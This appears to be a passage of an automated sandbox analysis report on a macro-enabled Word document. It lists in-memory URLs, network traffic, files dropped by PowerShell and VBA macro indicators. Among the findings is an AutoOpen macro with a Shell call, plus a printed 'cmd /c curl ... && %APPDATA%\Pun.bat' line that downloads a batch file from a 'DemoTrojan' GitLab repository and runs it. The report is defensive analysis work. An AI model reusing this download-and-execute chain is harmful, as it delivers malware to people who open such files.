Source: inline_keyboard_markup.cpython-310.pyc.2867464402256.16.dr	String found in binary or memory: https://core.telegram.org/bots/features#inline-keyboards
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://customers.gitlab.com
Source: __init__.cpython-310.pyc.2867462555952.16.dr	String found in binary or memory: https://docs.astropy.org/en/stable/units/
Source: python.exe, 00000010.00000003.2716339061.0000029B9F26B000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2717016649.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2720347320.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2722396978.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2726639506.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2731349282.0000029B9F273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/4325783
Source: powershell.exe, 00000009.00000002.2096757173.0000000005246000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: sanitizer.py.13.dr	String found in binary or memory: https://github.com/html5lib/html5lib-python/issues/443
Source: sanitizer.py.13.dr	String found in binary or memory: https://github.com/mozilla/bleach
Source: shutil.py0.13.dr	String found in binary or memory: https://github.com/python/cpython/pull/7160#discussion_r195405230
Source: python.exe, 00000010.00000003.2716339061.0000029B9F294000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2717016649.0000029B9F294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sethmlarson/selectors2/blob/master/selectors2.py
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.0000000005354000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.0000000005496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/;
Source: powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/speedscope/index.html
Source: powershell.exe, 00000009.00000002.2095577257.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip
Source: vbaProject.bin	String found in binary or memory: https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat
Source: curl.exe, 00000008.00000002.1736080162.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat2E
Source: curl.exe, 00000008.00000002.1736080162.0000000002BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat5
Source: curl.exe, 00000008.00000002.1736126509.0000000002BC4000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735614115.0000000002BC0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735747935.0000000002BC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/DemoTrojan/real/-/raw/main/check.batB
Source: curl.exe, 00000008.00000002.1736126509.0000000002BC4000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735614115.0000000002BC0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735747935.0000000002BC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/DemoTrojan/real/-/raw/main/check.batb
Source: powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/admin/
Source: powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/assets/
Source: powershell.exe, 00000009.00000002.2096267886.0000000003350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/demotrojan/real/-/raw/main/document.zip
Source: powershell.exe, 00000009.00000002.2096757173.00000000058DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: __init__.cpython-310.pyc.2867571315504.16.dr	String found in binary or memory: https://httpbin.org/post
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.0000000005496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
Source: powershell.exe, 00000009.00000002.2100335123.000000000615C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: __init__.cpython-310.pyc.2867462555952.16.dr	String found in binary or memory: https://pint.readthedocs.io/en/stable/
Source: __init__.cpython-310.pyc.2867571315504.16.dr	String found in binary or memory: https://requests.readthedocs.io
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sentry.gitlab.net
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snowplow.trx.gitlab.net
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.0000000005496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourcegraph.com
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.0000000005496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: __init__.cpython-310.pyc.2867571315504.16.dr	String found in binary or memory: https://www.python.org
Source: powershell.exe, 0000000D.00000002.2622046577.0000000004FA9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2622046577.0000000004FB3000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000010.00000003.2703858829.0000029B9F869000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2705104833.0000029B9F869000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2715548823.0000029B9F3C7000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2703202452.0000029B9F481000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2705601691.0000029B9F481000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2716171198.0000029B9F403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: python.exe, 00000010.00000003.2650160868.0000029B9F36B000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2649770670.0000029B9F297000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2650246028.0000029B9EAB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: python.exe, 00000010.00000003.2640185149.0000029B9F1E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: powershell.exe, 0000000D.00000002.2622046577.0000000005170000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2622046577.000000000517B000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000010.00000003.2640223602.0000029B9EB24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.recaptcha.net/

Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\DLLs\python_tools.cat

Jump to dropped file

System Summary

Document contains an embedded VBA macro which may execute processes

Source: ~WRD0000.tmp.0.dr

OLE, VBA macro line: JbxHook_Shell_2_ = Shell(jbxparam0, jbxparam1)

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\tcl86t.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\pip\_vendor\distlib\w64.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\pip\_vendor\distlib\t64.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\pip\_vendor\distlib\w32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\pip\_vendor\distlib\t32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\tk86t.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file

Source: Doc1.docm	OLE, VBA macro line: Sub AutoOpen()
Source: Doc1.docm	OLE, VBA macro line: ' AutoOpen Macro
Source: VBA code instrumentation	OLE, VBA macro: Module NewMacros, Function AutoOpen	Name: AutoOpen
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Sub AutoOpen()

Source: Doc1.docm	OLE indicator, VBA macros: true
Source: gb.xsl.0.dr	OLE indicator, VBA macros: true
Source: gostname.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690nmerical.xsl.0.dr	OLE indicator, VBA macros: true
Source: chicago.xsl.0.dr	OLE indicator, VBA macros: true
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: harvardanglia2008officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: gosttitle.xsl.0.dr	OLE indicator, VBA macros: true
Source: turabian.xsl.0.dr	OLE indicator, VBA macros: true
Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE indicator, VBA macros: true
Source: sist02.xsl.0.dr	OLE indicator, VBA macros: true
Source: ieee2006officeonline.xsl.0.dr	OLE indicator, VBA macros: true
Source: iso690.xsl.0.dr	OLE indicator, VBA macros: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, VBA macros: true

Source: ~WRD0000.tmp.0.dr

Stream path 'VBA/__SRP_0' : https://gitlab.com/DemoTrojan/real/-/raw/main/check.batHcmd /c curl -L -o %APPDATA%\Pun.bat,* && %APPDATA%\Pun.batWriteLineZ:\syscalls\0_.vba.csv$FDocument4Scripting.FileSystemObjectCreateTextFile$MSXML2.DOMDocumentb64createElementRQ!fIx8<param::type::value:WriteString()AOabin.base64dataTypenodeTypedValueTextClosekF2t rAgnT62yGsSO((8g@0@

Source: gb.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gostname.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690nmerical.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: chicago.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: mlaseventheditionofficeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: harvardanglia2008officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: gosttitle.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: turabian.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
